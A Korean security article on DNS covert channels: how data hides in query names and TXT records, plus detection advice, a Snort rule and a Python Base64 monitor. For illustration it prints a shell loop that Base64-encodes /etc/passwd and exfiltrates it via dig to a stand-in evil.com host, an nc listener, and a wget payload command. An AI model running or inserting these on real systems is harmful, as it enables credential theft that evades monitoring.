DNS Covert Channel 탐지와 방어 전략
DNS Covert Channel의 통신 구조와 데이터 유출 방식, DNS 트래픽·엔드포인트 기반 탐지 및 방어 방법을 정리한다.
2026-08-14 · 최초 발행 2025-06-28
DNS 질의가 은밀한 통신 경로가 될 때
DNS는 인터넷 연결에 필수적인 인프라다. 그래서 이 트래픽은 많은 네트워크에서 허용되며, 그 특성은 공격자에게도 활용될 수 있다. DNS Covert Channel은 정상적인 DNS 요청과 응답에 데이터를 숨겨 탐지를 피하는 은닉채널 기법이다.
대부분 UDP 기반으로 동작하고, 지속적인 TCP 세션 없이 단발성 쿼리만으로 통신할 수 있다. 방화벽 통과 가능성이 높고, DNS 내용을 상세히 들여다보지 않는 환경에서는 이상 징후를 찾기 어렵다.
DNS가 은닉채널로 악용되는 이유
DNS 트래픽은 기업 네트워크에서 대체로 허용된다. 인터넷 접속을 위해 필요한 서비스이므로 일괄 차단하기도 어렵다.
프로토콜 구조도 데이터 은닉에 적합하다. 도메인 이름 레이블은 최대 63바이트까지 활용할 수 있고, 쿼리 이름 필드에 데이터를 담기 쉽다. TXT, NULL 같은 다양한 레코드 타입도 전송 수단으로 사용할 수 있다.
문제는 관리 방식에 있다. DNS를 연결 허용 또는 차단 수준으로만 다루면, 질의 안에 포함된 데이터나 비정상적인 반복 패턴은 놓치기 쉽다.
쿼리와 응답에 데이터를 싣는 방식
가장 단순한 방식은 DNS 쿼리 이름에 인코딩한 데이터를 넣는 것이다.
data.exfiltrated.malicious-domain.com
여기서 data는 유출하려는 정보를 인코딩한 값이다. 외형상 일반 DNS 트래픽과 비슷해 보이므로 탐지가 쉽지 않다.
서브도메인을 나누어 데이터를 전달하는 흐름은 다음과 같다.
Base64 인코딩 값은 여러 서브도메인으로 분할할 수 있다.
MDEyMzQ1.Njc4OTAx.Mjg0Nzk2.attacker.com
TXT, NULL 같은 특수 DNS 레코드 타입도 명령이나 데이터를 전달하는 수단이 된다.
$ dig +short TXT command.attacker.com
"rm -rf /tmp/evidence && wget http://malware.site/payload"
응답 필드를 조작해 명령을 내려보내는 방식도 가능하다.
데이터 유출과 C&C 통신으로 이어지는 흐름
공격은 악성 매크로가 포함된 문서 이메일 첨부나 Drive-by-Download로 시작될 수 있다. 이후 레지스트리 키를 만들거나 작업 스케줄러에 태스크를 등록해 재부팅 이후에도 실행 상태를 유지한다.
감염된 시스템은 DNS 쿼리로 명령 서버에 접속하고, 정기적으로 명령을 확인한 뒤 결과를 전송한다. 시스템 정보, 사용자 자격 증명, 기밀 파일 등은 DNS 질의 형태로 외부에 전달될 수 있다.
/etc/passwd를 한 줄씩 읽어 전송하는 예시는 다음과 같다.
# 공격자 측 (53번 포트에서 UDP 패킷 수신 대기)
nc -lnp 53 -vv -u -k
# 피해자 측 실행 코드 (passwd 파일을 한 줄씩 읽어 DNS 쿼리로 전송)
cat /etc/passwd | while read line; do
encoded=$(echo -n "$line" | base64)
dig @attacker-ip "$encoded.data.evil.com" +short
sleep 1
done
이 코드는 피해자 시스템의 /etc/passwd 파일을 한 줄씩 읽고 Base64로 인코딩한 뒤, DNS 쿼리로 공격자에게 전송한다.
방어는 DNS 로그와 실행 행위를 함께 봐야 한다
네트워크에서는 비정상적으로 긴 도메인 이름, 높은 빈도의 DNS 쿼리, 엔트로피 분석에서 나타나는 인코딩 데이터 패턴을 감시해야 한다. 알려진 악성 도메인과 비정상적인 질의 패턴을 필터링하는 것도 필요하다.
DoH, DoT 같은 DNS 암호화 트래픽도 통제 대상이다. 내부에서 인증된 DNS 서버만 허용하고, DNS over HTTPS/TLS 통신을 관리해야 한다.
엔드포인트에서는 신뢰할 수 있는 DNS 서버만 사용하도록 설정하고, DNS 쿼리를 생성하는 비정상 프로세스를 찾아야 한다. DNS 클라이언트의 동작과 통신 패턴을 함께 분석하는 방식이 필요하다.
DNS 로그는 중앙으로 수집해 분석하고, 로그 기반 이상 행위 탐지 규칙을 운영할 수 있다. DNS 서버에는 재귀 질의 제한을 적용하고, 서버 권한을 분리해 최소 권한 원칙을 지킨다.
탐지 규칙과 모니터링 코드
긴 호스트 이름을 식별하는 Snort 규칙 예시는 다음과 같다.
alert udp any any -> any 53 (msg:"DNS Covert Channel - Long hostname detected";
content:"|01|"; depth:1; byte_test:1,>,55,0,relative;
pcre:"/\.[a-zA-Z0-9-]{55,}\.(com|net|org|info)/"; sid:1000001; rev:1;)
DNS 질의 길이와 Base64 패턴을 확인하는 모니터링 코드도 사용할 수 있다.
import dns.resolver
import base64
import re
def analyze_dns_query(query):
# 긴 서브도메인 확인
if len(query) > 50:
print(f"WARNING: Unusually long query: {query}")
# Base64 패턴 탐지
subdomains = query.split('.')
for sub in subdomains:
if len(sub) > 8:
try:
decoded = base64.b64decode(sub)
if re.match(r'^[\x20-\x7E]+$', decoded.decode('utf-8', errors='ignore')):
print(f"ALERT: Possible Base64 encoded data: {sub} -> {decoded}")
except:
pass
DNS는 완전히 차단할 수 없는 핵심 인프라다. 따라서 DNS 트래픽을 심층 분석하고, 행위 기반 탐지와 네트워크·엔드포인트 보안을 함께 운영해 악의적 사용을 식별해야 한다.